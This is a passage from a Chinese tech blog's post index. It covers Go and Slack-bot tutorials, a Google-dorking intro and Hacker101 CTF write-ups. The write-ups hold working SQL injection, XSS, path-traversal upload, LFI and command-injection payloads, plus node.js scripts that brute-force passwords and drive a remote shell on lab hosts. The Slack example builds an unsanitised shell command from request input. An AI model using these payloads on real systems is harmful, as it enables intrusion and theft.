\"fmt\")func Cool() { fmt.Println(\"hello\") // 可以改成 fmt.Println(\"hello yujack\")} ReferencesCan I work entirely outside of VCS on my local filesystem?","link":"/2021/09/21/go-local-package/"},{"title":"Google Hacking","text":"這次要跟大家介紹一下 Google 到底有多好用相信用過 Google 都知道,Google 的搜尋很方便但是你知道,Google 還有提供除了關鍵字搜尋以外的各種神奇的搜尋方式嗎 ? 下面這張表就是 Google 提供的各種搜尋技巧先用幾個來讓大家了解如何使用這個方便的技巧吧! site:假設我想要搜尋我這個網站的,光靠關鍵字搜尋是很難搜尋到的排名不高,曝光度也不高更是難上加難但是可以透過以下的方式搜尋到1site:yu-jack.github.io intitle:intitle 就是搜尋 title 呈現的文字我們可以搜尋一個有趣的東西 “Index Of” 1intitle:"Index Of" 可以發現搜尋到一些看起來很像目錄的東西這個代表這個網站的開發者,沒有適當的處理這個問題這樣會導致網站的所有目錄曝光在公眾之下裡面是什麼,我就不點了,有興趣可以試試看 inurl:inurl 就是搜尋 url 之中有沒有包含這個字串我用以下方式搜尋的話1inurl:login就會發現一堆 url 包含 login 的網址出現 filetypefiletype 會去搜尋副檔名,但是他不能單獨使用必須跟其他指令混在一起使用 1inurl:ntust filetype:pdf 結論這邊做了一點簡單的介紹而已,並沒有作太多詳細介紹但是可以參考以下的 PDF 去觀看更多不同的技巧Google Hacking for PenetrationTesters 下面這個是公開搜尋 keyword,也許可以直接搜尋到別人不想讓你看到的東西Google Hacking Database 介紹就到這邊,以後有空會再回來把這篇補詳細","link":"/2017/10/17/google-hacking/"},{"title":"Hacker 101 CTF Write Up Part 1 - Micro-CMS v2, TempImage","text":"近期想到 HackerOne 找找 Bug Bounty卻意外發現這邊有 CTF 可以玩玩,就順手玩了幾題然後做紀錄 Micro-CMS v2根據題目總共有 3 個 Flag 0x00一進來頁面長這樣 試著建立一個新的 Page, 發現要登入帳號密碼 看到帳號密碼就是要先下個單引號,結果就噴出 exception 了 根據 error 的 sqlcur.execute('SELECT password FROM admins WHERE username=\\'%s\\'' % request.form['username'].replace('%', '%%')可以推斷出他是透過 username select 出來後再用程式比對密碼有 SQL Injectiob 的話,就可以走 union all select 的套路username: 'union all select 1#password: 1 補充:union all select 可以組合前一個和後一個 SQL 結果假設 select username from admins where uername = 'admin' 會回傳 admin但如果是 select username from admins where uername = 'not_exists' 會回傳空的東西配合 union all select 的話select username from admins where uername = 'admin' union all select 1 會回傳 admin, 1 兩個值那如果是 select username from admins where uername = 'not_exists' union all select 1 只會回傳 1 登入成功後,可以看到有一個 Private Page 點進去後發現第一個 FLAG 0x01接下來嘗試新建立 Page 接下來就試著輸入 <svg/onload=alert(document.cookie),建立成功 發現好像也沒跳出什麼東西,嘗試去玩玩修改功能發現到第二次修改成功的時候會出現 Not Found URL,覺得有點疑惑 於是把 Payload 記下來拿到 Post Man 重新送送看,結果就拿到 FLAG 了 0x02這個漏洞找有點久,因為登入的時候,過幾秒會被導入到首頁,不會被停留在登入成功的頁面為了不讓 js 執行,所以改用 Post Man 去送,想看一下回來的 html 是什麼發現回來的 html 註解裡面有一個小提示 看起來是要往拿到真正的帳號密碼才會拿到 FLAG於是把資料丟到 sqlmap 就把資料 dump 出來的 登入成功後就拿到 FLAG 了 這邊用另一個不用 sqlmap 而是改用自己寫程式去做 (雖然 sqlmap 原理應該跟這個差不多)主要會用到 length(password) 和 length(username) 的方式先去判斷有幾個字元再透過 mysql _ 的匹配符號去做猜測,這個符號會去做一個比對假設字串是 username = abcde,username like ‘a____’ 就會比對成功,會回傳 true但如果是 username like ‘b____’ 就會比對失敗,會回傳 false接下來會利用這個特性去撰寫一個程式去找到完整的帳號密碼 假如說 length(password) = 5在 mysql 裡面可以這樣去寫 select username from admins where username = '' or password like '_____'然後在慢慢替換第一字 select username from admins where username = '' or password like 'a____' 去找到回傳 true 的狀況 先嘗試去找到密碼的長度,一般輸入結果如果為 false 會回傳 Uknown User 試著把 payload 改成 ' or 1=1# 發現回傳Invalid Password,代表說有找到使用者因為 false || true 的結果為 true,所以有成功從資料庫撈到資料 那是試著改成 ' or 1=221# 發現回傳 Uknown User 所以只要讓 username 那一段 sql 回傳 true,他就會把真正的密碼帶上來所以接下來可以試著用 ' or length(password)=1# 慢慢去比對看長度最後發現密碼長度為 8 接下來要構造出 like 的 payload 為 ' or password like binary '________'#如果上面成立的話,會回傳 Invalid Password 失敗的話則會回傳 Uknown User根據這兩個結果可以撰寫程式了,這邊會用 node.js 去做列舉這邊加上 binary 去強制去使用 CASE SENSITIVE 去做判別密碼為: marcelle 所以最後 username: ' or 1=1# password: marcelle登入後拿到 FLAG! 這邊附上程式123456789101112131415161718192021222324252627282930313233343536373839404142434445464748const axios = require('axios');const qs = require('querystring');(async () => { let passwordLength = 8; let password = (() => { let counter = 0; let temp = ''; while (counter < passwordLength) { temp += '_'; counter++; } return temp })(); let found = false let answer = ''; let position = 0; let allPosibile = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\" while (!found) { let tempPassword = password for (const char of allPosibile) { tempPassword = tempPassword.split(\"\"); tempPassword[position] = char; tempPassword = tempPassword.join(\"\") let payload = `' or password like binary '${tempPassword}'#` let result = await axios({ url: 'http://34.74.105.127/58b04db906/login', method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, data: qs.stringify({ username: payload, password: '' }) }).then(response => response.data) if (result.includes('Invalid password')) { console.log(`${position}: ${char}`); answer += char; break; } } position++; if (position >= passwordLength) { break; } } console.log(answer);})() TempImage根據題目總共有 2 個 Flag 0x00剛進來頁面是這樣 點進去 upload.php 的頁面,發現可以上傳檔案 順便開原始碼有哪些 input 發現有 file 以及 filename 可以做更動,這邊先試著上傳一張正常的圖片URL: http://34.74.105.127/020fb13cda/files/eb705c0e32ff0f15c9801f5d40fe290f_test-3.png看起來是把我上傳的檔名變成檔案名稱了,這邊就試著改 filename (這邊使用 burp suit 去改,順便方便等等可以改內容)把 filename 改成 test-3.html 結尾 發現成功改成 .html 且成功是內容URL: http://34.74.105.127/020fb13cda/files/807fb7eecbe831518d078107d8f0fedf_test-3.html 這邊嘗試加上 ../ 在 filenmame 上面,發現爆出 FLAG 了 0x01從上一個 FLAG 發現有一個 move_upload_file 裡面會帶一個 path 這邊試著符合這個 path 帶入 /../test-3.html 試試看 發現 URL 變成 http://34.74.105.127/020fb13cda/files/test-3.html往上跳了一層 … !?因為此 server 可以執行 php,於是改成 php 試試看順便在檔案內容之中多加一個 <?php phpinfo(); ?> 發現內容還是顯示圖片格式? 這邊試著把檔案內容全砍掉只留下 <?php phpinfo(); ?> 結果被判定成不是 PNG 不能上傳了 如果不是改檔案副檔名和 Content-Type 會影響格式判斷的話有可能是根據 PNG 的前幾個 bytes 去判斷,所以這邊只留下前面的 bytes 發現無法顯示 QQ,這邊不確定原因,試了非常久 後來想到在上傳到上一層不知道會怎樣,於是試試看 發現成功執行 PHP 檔案!!所以代表可能是 files 那一層有鎖不能顯示 php 檔案URL: http://34.74.105.127/020fb13cda/test-3.php 接下來上傳 web shell 去看看有什麼檔案 逛了一下,發現 index.php 有 FLAG 存在","link":"/2019/09/04/hacker101-part1/"},{"title":"學習 Golang 的心得 - Receiver","text":"介紹程式語言共通的特性像是 for-loop, if-else, declaration 之類的又或是 go 的 type 宣告是在後面 var num int, 而 java 是 Int number又或是 go 中大寫代表 public 小寫代表 private這種只是單純因為語言特性不同而導致寫法不同, 通常不會是大問題基本上只要 google 一下大概就知道差別了 而我覺得學習語言最先要了解的是, 這個語言最獨有特性是什麼原因是這些獨有特性通常都會被廣泛用在任何地方等於說看其他人程式之前, 如果不先了解獨有的特性就會不容易看懂 個人覺得最先了解的應該是 Receiver 的概念 正文在說 Receiver 之前, 我們得先談談 struct 這個東西先說 go 並沒有 class 的概念存在, 反而是存在 struct寫過 C 的人應該會了解 struct, 簡單來說就是定義資料的結構像我定義一個資料結構是叫做 User 裡面有一個參數叫做 Name 123type User struct { Name string} 接著透過以下方法去使用 struct, 就會看到 jack 被印出來 1234567891011package mainimport \"fmt\"type User struct { Name string}func main() { user := User{ Name: \"jack\", } fmt.Println(user)} 那如果我想透過 function 去更改我的名字呢?透過以下 function 就可以實現 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func changeName(user *User) { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } changeName(&user) fmt.Println(user)} 看到上面的 * & 時, 要注意到 go 語言有指標的概念存在指標這東西講起來也複雜, 我直接實際帶例子看看差別你會發現下面的例子, 我移除掉 * & 這兩個符號後, 依舊印出來是 jack結果跟上面例子不一樣, 這就是指標的特性當你呼叫 function 用指標當作參數的話, 當裡面更改參數時, 是會連同修改到外面傳進來的參數套在 js 概念時, 其中一個例子就是當 js function 中對傳進來的『物件中參數做更動,而不是重新賦值』時也會連同修改到外面傳進來的參數, 簡單來說, 就是改到同一塊記憶體位置 但要注意的是, Go 並不是 pass-by-reference『Everything in Go is passed by value』, 有興趣可以看看官網解說 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func changeName(user User) { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } changeName(user) fmt.Println(user)} 接著要講到重點了, 上面的 function 可以改寫成另一種型態 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName() { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } user.changeName() fmt.Println(user)} 第一次看到看到參數可以寫在 function name 前面很特別吧 XD但仔細比對, 雖然在 function 宣告上其實是很相似佔看之下只是把 paramters 的部分移動到 function name 前面而已 123456func (user *User) changeName() { user.Name = \"hi\"}func changeName(user *User) { user.Name = \"hi\"} 但這確有很大不同的意義其中是一個是使用的方式大有不同, 這就是 receiver 中的一個特色當你把 function 參數搬到前面時, 他就變成 receiver 的一種也就是,當你的資料結構為 User 時, changeName 就是你所屬的一個 function 12user.changeName() // 對應到上面第一個 changeNamechangeName(user) // 對應到上面第二個 changeName 但這個 receiver 可以根據你資料的結構去進行變化也就是說, 你可以再定義一個新的資料結構, 但 method name 也取一樣以下面例子來說, User 有自己的 changeName function, School 有自己的 changeName function在 go 裡面會根據資料結構的定義去找到相對應的 function 去執行 不過以下兩種定義又有不一樣的意思User 的是 Pointer Type 的實作, School 的是 Value Type 的實作簡單來說 Pointer Type 在呼叫方法時, 若在方法內有改值則會修改到原始傳進來的值Value Type 則是複製一份, 所以在使用的時候不會改到傳進來的值 123456func (user *User) changeName() { user.Name = \"hi\"}func (school School) changeName() { school.Name = \"hi\"} 後記以上就是 go receiver 的介紹, 這在 go 中非常常見也是我寫過的語言中最為特別的一種應用方式, 畢竟 go 並沒有 class 的觀念存在『硬要』用 java 去解釋的話, 就會變成 User 是一個 class, 而 changeName 是我 instance 實例化後的一個 method但還是要強調, 用其他語言去解釋只是比較容易解釋, 但本質上是不一樣的 接著下一篇會提到 interface & struct 的交互應用因為這個交互應用可以對應到 unit test 中如何去做 mock 有關係 References https://openhome.cc/Gossip/Go/ https://dave.cheney.net/2017/04/29/there-is-no-pass-by-reference-in-go","link":"/2021/04/18/go-practice-1/"},{"title":"Hacker 101 CTF Write Up Part 2 - Micro-CMS v1, Petshop Pro","text":"系列篇第二篇,Micro-CMS v1 還因為玩壞掉我重開了快二十次才可以開來玩 QQ Micro-CMS v1根據題目總共有 4 個 Flag 0x00打開頁面後頁面是 試著建立 post 試試看 發現有 XSS 跳出來,但打開原始碼沒發現什麼變化 按了 Go Home 會去上一頁就跳出 FLAG 了 0x01因為跳出 xss 的時候注意到 page 後面的 id 帶的是 8覺得很疑惑,因為總共才三筆資料,id 怎麼會是 8? 於是就 8 7 6 回去一個一個看看是不是有什麼玄機發現 id 是 6 的時候,出現了 forbidden 的字樣,寫著不可讀 竟然不可讀的話,試著加上 edit 發現可以編輯,且內容有 FLAG 0x02接下來就試著對每一個頁面的 id 做 SQL Injection發現在 edit 的頁面狀況下,id 會有 SQL Injection於是就跳出 FLAG 了 0x03這個漏洞我找非常非常的久才發現原來的 <svg/onload=alert('xss') payload 是跳不出 FLAG 的要用 <img src="" onerror="javascript:alert('xss')"/> 才跳得出來 打開原始碼發現 FLAG 就藏在下面第一張是 img tag 的原始碼第二張是 svg tag 的原始碼兩個都可以觸發 xss,但只有 img 有 FLAG不知道為何 svg 那一個 payload 不能觸發可能是這題的解答,有希望某一些固定的 tag 去寫才會造成 svg payload 跳不出 FLAG Petshop Pro根據題目總共有 3 個 Flag 0x00進去之後頁面長這樣 按下 Add to Cart 之後 在按下 checkout 看來是一個結帳流程,講到錢就想來試試看能不能 0 元結帳看了一下 source code 發現有一個 hidden input 並且用 javascript 把價格更改成 0 元後送出 送出後價格為 0 元且拿到 FLAG 0x01透過 nmap 找到登入點為 /login 之後 稍微試著輸入單引號看看會不會有 SQL Injection 問題,結果沒有 QQ但因為輸入 username 的時候,輸入錯誤會爆出 Invalid username代表說此系統設計方式,如果輸入正確的 username 的話,應該不會爆出這個錯誤根據以上邏輯先寫出第一版程式找找看 username 找到 username 後輸入,的確變成 Invalid password那就繼續找密碼 接下來用一樣的方式找到密碼 登入成功,出現 FLAG! 0x02登入後發現可以編輯商品 試著輸入 xss payload,跳出 xss,但打開原始碼沒發現任何東西 試著加入購物車發現,也會跳出 xss 打開原始碼發現 FLAG!","link":"/2019/09/06/hacker101-part2/"},{"title":"Hacker 101 CTF Write Up Part 3 - Ticketastic Live Instance","text":"系列篇第三篇,目前題目寫下來都蠻有趣的 Ticketastic: Live Instance根據題目總共有 2 個 Flag 0x00一進來發現有兩個同樣名稱的題目,這邊先點上面的 DEMO 進去看看 大概就是介紹,但最後發現一句特別的話『會有機器人來讀這些 ticket』不太明白這意思,先放著一邊繼續看看有什麼功能,裡面提到用 admin/admin 可以先登入 登入後可以看到有一個 ticket 以及可以新建使用者 點了 ticket 進去看了一下,提到說,如果處理錯誤的話會在這邊被標記起來看起來是使用者提供錯誤的連結的話,當機器人處理不了時會在這邊顯示提醒但這邊看起來沒什麼洞可以挖,繼續往下 嘗試去建立使用者,發現可以建立成功 另外還發現建立方式是用 GET 去建立這就有點微妙了,一般來說,像是使用 LINE 等等通訊軟體貼連結上去,都會預設去做 GET,然後把預覽顯示出來這邊也有可能走這種方式 這邊建立一個 ticket 嘗試看能不能用 GET 連結的方式去建立使用者但卻發現連結處理錯誤!? 試著換另一個連結,依舊錯誤 想了非常久才想到,這應該是 SSRF 的一種利用於是把 payload 改成 localhost 的方式去探測能不能用內網方式新增使用者發現不再顯示錯誤連結! 建立的使用者也能正確地登入! 接著就把這個 Payload 帶到另一個題目,發現能夠登入!登入後發現第一個 FLAG 0x01接下來發現連結上面有 id試著帶入單引號發現噴出 SQL Exception 丟入 sqlmap dump 出 admin 的密碼就是 FLAG 了","link":"/2019/09/08/hacker101-part3/"},{"title":"Slack Bot","text":"在開始玩弄 Slack Bot 之前,必須要先去申請頁面建立一個 APP 申請完之後,可以看到 Features 那邊有很多不同的功能這次主要會針對 Slash Command、Incoming Webhooks 以及 Interactive Components 做練習 在開始正式介紹之前,我們可以思考一個情境身為工程師,就是會想要降低人工干涉的事情,大量自動化那今天,我想要自動部署我的 server 的話,可以怎麼做呢? 這裡可以透過 Slash Command + Incoming Webhooks 做到,步驟如下 在 Slack 上面打上 /deploy ticket master (用 Slash Command 通知 server) Server 就會接收到需要 deploy tickey server,然後切換到 master branch 上面 pull 最新版本之後,完成此次更新 通知公司同仁,更新已結束 (用 Incoming Webhooks 通知) 這流程就會是我們所想要的,當然中間還可以透過 jenkins 去部署其他台伺服器用 slack 部署 server,超方便 der (但感覺拿來訂便當更好用 XD Slash Command介紹Slash Command 就是在 Slack 的聊天室下指令,例如1/deploy server就會觸發到遠端伺服器,伺服器解析 command 後,再去近一步做一些行為 建立新指令下圖就是設定 Slash Command 的地方我們設定了 command 為 /test,然後會用 POST 觸發到遠端的 https://your.website.com/test 比較重要的地方是,Request URL 一定要是 HTTPS,如果不是 HTTPS 一律拒絕,在 Slack 官方文件上面有以下這段說明 NOTE: If your Slack app is set to be distributable or is part of the Slack app directory, the URL you provide must be use HTTPS with a valid, verifiable SSL certificate. Self-signed certificates cannot be used. See below for more information. 按下 Save 之後,回到頁面會看到,就代表建立完成了 安裝進到你的 team按下 Install App to Workspace,就會到授權頁面,然後點下 Authorize 即可安裝完成 安裝後在 channel 會出現訊息,通知說已經把 App 加入進來了 這時候在聊天室裡面打下 /test 會出現我剛剛建立的 command 和 Description不過輸入之後,並不會有任何反應,原因是因為我們還沒有設置好伺服器端的設定 開始寫程式去接受 slash command這邊用 nodejs 示範建立一個簡單的伺服器去接受 slash command SSL 的建立容許我這邊就不做示範了 XD (有點麻煩 123456789101112131415161718const express = require('express');const app = express();const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: false}));app.post('/test', (req, res, next) => { console.log(req.body); console.log(`User : ${req.body.user_name}`); console.log(`Text : ${req.body.text}`); console.log(`Command : ${req.body.command}`); return res.json({ text: 'Command is successful' })})app.listen(8080) 在輸入視窗輸入以下指令後 1/test Hi I'm from slack 伺服器端會得到 完整的 JSON 格式如下1234567891011121314// 敏感資訊我都以 X 先馬掉了{ token: 'XXXXXXXXXXXXXXXXXXXXXXX', team_id: 'XXXXXXXXX', team_domain: 'XXXXXX', channel_id: 'XXXXXXXXX', channel_name: 'announcement', user_id: 'XXXXXXXXX', user_name: 'yujack', command: '/test', text: 'Hi I\\'m from slack', response_url: 'XXXXXXXXXXXXXX', trigger_id: 'XXXXXXXXXXXXXX' } 而在輸入窗那邊會看到 代表指令有成功到伺服器上面了,然後回傳一個 “Command is successful”指令完成後,一定會想問一個問題 『我想要通知其他人,我觸發了這個指令,我不想要只有我看到,那我該怎麼做?』 這時候就是下一個功能 Incoming Webhooks Incoming Webhooks介紹Incoming Webhook,可以直接讓你用 curl 的方式去發訊息到某一個 chaneel 裡面 啟用啟用 Incoming Webhooks 功能 啟用之後,會在下面看到一個範例,還有新增 Webhook 的地方 點選 “Add New Webhook to Workspace”,會到授權頁面這裡會出現,你想要把訊息可以傳送到哪一個地方那這裡我就選擇 general 作為範例 使用在 terminal 貼上以下指令 1curl -X POST -H 'Content-type: application/json' --data '{\"text\":\"Hello, World!\"}' https://hooks.slack.com/services/XXXXXXXX 在你設定要傳送的那個 channel 就會出現訊息了 那有了這個 Webhooks 之後,剛剛的 nodejs server 就可以稍微做更改這樣的話就可以告訴那一個 channel 的人說,你執行了什麼樣的指令 ~ 12345678910111213141516171819202122232425262728293031const express = require('express');const app = express();const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: false}));app.post('/test', (req, res, next) => { console.log(req.body); console.log(`User : ${req.body.user_name}`); console.log(`Text : ${req.body.text}`); console.log(`Command : ${req.body.command}`); const command = `curl -X POST ` + `-H 'Content-type: application/json' ` + `--data '${JSON.stringify(req.body.slack_message)}' ` + `https://hooks.slack.com/services/XXXXXXXXX`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } return res.json({ text: 'Command is successful' }) })})app.listen(8080) 到這裡不禁會想到一個問題,我能不能不把 branch 記起來我直接讓 server 告訴我,我在選一個我想要的去 deploy 呢? 這時候,Interactive Components 就派上用場了這個功能可以接收使用者選擇了什麼選項,然後進一步去分析接下來就要介紹 Interactive Components Interactive Components介紹這是一個互動式的功能,在 Slack 上面可能會跳出 Message Button : 例如是否同意這個意見? Menus : 例如訂 A 便當 or B 便當? Dialogs : 例如通知? 當使用者點選了某一個按鈕或是選擇了其中一個選項就會 post 到 server 上,跟 server 說使用者做了什麼選擇學會 Interactive Componet 之後,我們自動化流程就可以改成 在 Slack 上打 /show ticket (用 Slash Command 通知 server) Server 回傳 ticket server 所有的 branch (用 Incoming Webhooks 通知) 使用者點選其中一個 branch 進行 deploy (用 Interactive Components 接收使用者點選哪一個 branch) Server 就會接收到需要 deploy tickey server,然後切換到 master branch 上面 pull 最新版本之後,完成此次更新 通知公司同仁,更新已結束 (用 Incoming Webhooks 通知) 啟用 使用在使用 Interactive Componets 之前,要先學會如何製作選項或是按鈕給使用者點選Slack 官方有提供地方可以客製化不同的按鈕或是表單的地方,點這進去我客製化了這個訊息 123456789101112131415{ \"text\": \"Would you like to play a game?\", \"attachments\": [{ \"text\": \"Choose a game to play\", \"fallback\": \"You are unable to choose a game\", \"callback_id\": \"wopr_game\", \"attachment_type\": \"default\", \"actions\": [{ \"name\": \"game\", \"text\": \"Chess\", \"type\": \"button\", \"value\": \"chess\" }] }]} 拿到訊息之後,利用 Incoming Webhooks 送出到使用者端給使用者點選 點選之後伺服器會發 POST 到 https://your.website.com/interactive伺服器就會收到以下資訊 12345678910111213141516171819202122232425262728293031323334353637383940414243444546// Before JSON.Parse{ payload: '{\"actions\":[{\"name\":\"game\",\"type\":\"button\",\"value\":\"chess\"}],\"callback_id\":\"wopr_game\",\"team\":{\"id\":\"XXXXXXXXX\",\"domain\":\"XXXXXX\"},\"channel\":{\"id\":\"XXXXXXXXX\",\"name\":\"general\"},\"user\":{\"id\":\"XXXXXXXXX\",\"name\":\"yujack\"},\"action_ts\":\"1507970582.644321\",\"message_ts\":\"1507970575.000002\",\"attachment_id\":\"1\",\"token\":\"XXXXXXXXXXXXXXXXXXXXXXX\",\"is_app_unfurl\":false,\"type\":\"interactive_message\",\"original_message\":{\"text\":\"Would you like to play a game?\",\"bot_id\":\"XXXXXXXXX\",\"attachments\":[{\"callback_id\":\"wopr_game\",\"fallback\":\"You are unable to choose a game\",\"text\":\"Choose a game to play\",\"id\":1,\"actions\":[{\"id\":\"1\",\"name\":\"game\",\"text\":\"Chess\",\"type\":\"button\",\"value\":\"chess\",\"style\":\"\"}]}],\"type\":\"message\",\"subtype\":\"bot_message\",\"ts\":\"1507970575.000002\"},\"response_url\":\"https:\\\\/\\\\/hooks.slack.com\\\\/actions\\\\/XXXXXXXXX\\\\/XXXXXXXXX\\\\/XXXXXXXXXXXXXXXXXXXXXXXXX\",\"trigger_id\":\"XXXXXXXXX.XXXXXXXXX.XXXXXXXXXXXXXXXXXX\"}'}// After JSON.parse{ payload: { actions: [{ name: 'game', type: 'button', value: 'chess' }], callback_id: 'wopr_game', team: { id: 'XXXXXXXXX', domain: 'XXXXXX' }, channel: { id: 'XXXXXXXXX', name: 'general' }, user: { id: 'XXXXXXXXX', name: 'yujack' }, action_ts: '1507970582.644321', message_ts: '1507970575.000002', attachment_id: '1', token: 'XXXXXXXXXXXXXXXXXXXXXXX', is_app_unfurl: false, type: 'interactive_message', original_message: { text: 'Would you like to play a game?', bot_id: 'XXXXXXXXX', attachments: [ [Object] ], type: 'message', subtype: 'bot_message', ts: '1507970575.000002' }, response_url: 'https://hooks.slack.com/actions/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXX', trigger_id: 'XXXXXXXXX.XXXXXXXXX.XXXXXXXXXXXXXXXXXX' }} 按鈕會消失,然後顯示你在 server 上面回傳的完成資訊收到資訊之後,就可以知道使用者點選了什麼按鈕或是選擇了什麼選項根據這些選項伺服器在做一些處理就可以完成了 伺服器上面的程式會長這樣 (這邊單純印出來而已,沒有做後續處理 123456app.post('/interactive', (req, res, next) => { console.log(req.body); return res.json({ text: 'Command is successful' })}) 結論我用了一個情境讓大家比較好思考如何把這三個功能串起來雖然我還是覺得用在訂便當上面很方便就是了 (? 不過有些細部關於真正如何部署或是 SSL 的部分這裡就不會說明了那個會需要花到一兩篇文章的篇幅去介紹 如果有任何問題,請歡迎一起來討論 ~","link":"/2017/10/14/Slack-Bot/"},{"title":"Hacker 101 CTF Write Up Part 4 - Photo Gallery","text":"Photo Gallery 0x00一開始畫面長這樣 發現原始碼有一個 fetch?id=1 點進去網址發現回傳一個 jpg 的 text 檔案 從這可以推測他是用 id 去 mysql 取出 filename 然後讀出來的加個 ‘ 發現好像沒有 SQL Injection 的存在,但卻出現 500 Internal Server Error可能程式有哪邊出錯了,繼續往下測試 不過當改下 fetch?id=1 union all select 1 以及 fetch?id=1 union all select 1,2 發生一點不同變化前者出現跟 fetch?id=1 結果一模一樣 (上圖)後者卻出現 500 Internal Server Error (下圖) 看來就是有 SQL Injection 的問題了接下來找到可以用 fetch?id=1 and length(database()) = 6 這種方式去判斷後者是否為 true思路大概跟這篇做法一樣 https://www.hackthis.co.uk/articles/blind-sql-injection用各種 length() 以及 like '______' 的方式可以找到相對應的值這邊就直接丟 sqlmap 把整個 table dump 出來了就發現 FLAG 了 0x01這提跟前一提的 fetch?id=1 union all select 1 Payload 有關係前面有提到是透過 id 去撈 filename 回來去顯示改成 fetch?id=123123 union all select "files/adorable.jpg" 發現可以正確觸發 LFI 漏洞就出現了,我可以任意去讀檔案了本來想說這 php 寫的網站用以下的 payload,結果取得不到 …fetch?id=123123 union all select "index.php" 後來看提示才知道這是用 uwsgi-nginx-flask-docker image 做的此 image 原始碼在放在 main.py,所以改成以下 payload 就讀到原始碼,發現第二個 FLAGfetch?id=123123 union all select "main.py" 0x02看到 source code 之後,發現在取得 used space 那邊有 command injection 的問題subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\\n', 1)[-1]只要能在 filename 加上 ; 再加上後面想要執行的指令就可以觸發 CI 的問題了但要觸發他必須要靠 photos table 裡面的 filename 去觸發一開始嘗試使用 stacked query 的方式,以下為 payload541; UPDATE photos SET filename = '; ls ' WHERE id = 3; 試了很久完全沒有任何反應,本來以為不是 stacked query 這條路結果回去翻題目的提示有提到 COMMIT 這個關鍵字才想到有時候 SQL 指令下 UPDATE 變更完並不會馬上生效而是要下 COMMIT; UPDATE 的語法才會真正觸發於是 Payload 改成以下這樣就成功了,下面變成 uwsgi.ini 了fetch?id=541; UPDATE photos SET filename = "; ls" WHERE id = 3; COMMIT; 然後根據 main.py 的 regex 修改一下,然後寫出一個可以一直輸入 command 的 node.js 程式123456789101112131415161718192021222324252627function inputFunction(readline) { readline.question(`Keep input\\n\\n`, async (command) => { const axios = require('axios') await axios({ method: 'GET', url: 'http://34.74.105.127/8142a5acbe/fetch', params: { id: `541; UPDATE photos SET filename = '; ${command} | tr \"\\\\n\" \";\" ' WHERE id = 3; COMMIT;` } }).then(response => response.data).catch((err) => { return; }) let result = await axios({ method: 'GET', url: 'http://34.74.105.127/8142a5acbe/' }).then(response => response.data) console.log('\\n' + result.split('Space used: ')[1].split('</i></div>')[0].replace(/;/g, \"\\n\")); inputFunction(readline) })}(() => { const readline = require('readline').createInterface({ input: process.stdin, output: process.stdout }) inputFunction(readline)})() 但是逛了老半天 … 完全不知道 flag 放在哪裡跑回去看題目提示到 『enviroment』,才想到有可能放在應用程式裡面的環境最後下一個 printenv 就拿到 FLAG 了 ! 簡單 demo 影片 後記這題蠻有趣的,學到 stacked query、command injection 以及 LFI不過過程中有些真的不知道怎麼做,跑去看提示才知道不然真的瞎子摸象摸不太出來 QQ","link":"/2019/09/10/hacker101-part4/"},{"title":"Hacker 101 CTF Write Up Part 5 - Cody's First Blog","text":"Cody’s First Blog這題總共有 3 個 flag 0x00一開始畫面長這樣 裡面有提到好像是用 php 建立的試著提交看看 <?php echo phpinfo(); ?>就得到第一個 FLAG 了,但好像沒有像想像中一樣可以直接 phpinfo 0x01接下來看一下 source code 發現一個特別的地方 被註解掉的 admin path Path: http://34.74.105.127/8a10550a14/?page=admin.auth.inc發現看到可以登入的地方 嘗試輸入 username 看會不會有列舉的漏洞以及輸入一些弱密碼嘗試登入全部都不行,暫時就先擱置不看 這邊就開始有點卡住了 …回去首頁看看有什麼特別的東西有一句話有提到有用到 include 這個 function而剛剛的參數中 ?page=admin.auth.inc 是登入用的 php接下來這邊試著改成 ?page=admin.inc 發現就 bypass 登入的機制到 admin 頁面了然後就發現 FLAG 以及可以 approve 剛剛 submit 的 comment 0x02按下 approve,是一個 GET Url嘗試對 approve 做 SQL Injection 檢測發現沒有問題 接下來回到首頁,檢視原始碼發現一個特別的東西一開始輸入的參數被 approve 後顯示在這裡有點特別,但因為不能執行所以沒什麼用就先擱著不動 接下來嘗試對 page 參數亂打 看來的確是用 include 去引入別的檔案而且還會再參數後面再加入 .php 的副檔名 這邊嘗試用 php://filter 看能不能讀取原始碼結果發現不能 QQ 看到 include 後回想起首頁提到的這個 server 不能對外連線,也只有作者可以上傳檔案以及他都是用 include 去引用檔案 這裡聯想到一件事情include 是不是也能用 http:// 去把檔案引入並執行呢?於是這邊嘗試引用 http://34.74.105.127/8a10550a14/?page=http://localhost/admin.inc發現可以引用成功,但還是沒有提供什麼資訊 但因為用 include 配合 http:// 會有一個特色假如 test2.php 內容為12<?php $body = \"<?php echo phpinfo(); ?>\" ?><p><?php echo $body ?></p> test3.php 內容為1<?php include(\"test2.php\") ?> 直接讀取 test2.php 的時候,是沒辦法執行 phpinfo()只會出現這樣的結果 讀取 test3.php 時這邊會出現跟直接讀取 test2.php 一樣的結果 但如果把 test3.php 改成用 http:// 協議會怎麼樣呢?1<?php include(\"http://localhost:7888/test2.php\") ?>它會把 test2.php 顯示的結果,當成原始碼繼續使用下去結果就會變成可以成功執行 phpinfo 了 那因為剛剛一開始頁面也有一樣的邏輯出現首頁也有顯示 <?php echo phpinfo(); ?> 那如果說有辦法,讓這個頁面在被 include 一次的話就可以成功執行 phpinfo() 了所以 payload 會改成以下http://34.74.105.127/8a10550a14/?page=http://localhost/index然後就成功可以執行了 重新輸入一個參數 <?php readfile("index.php") ?> 並且 approve回到首頁檢視原始碼發現 FLAG !","link":"/2019/09/14/hacker101-part5/"},{"title":"Hacker 101 CTF Write Up Part 6 - Encrypted Pastebin (Padding Oracle 以及翻轉攻擊)","text":"Encrypted Pastebin這題總共有四個 flag 0x00一開始畫面長這樣 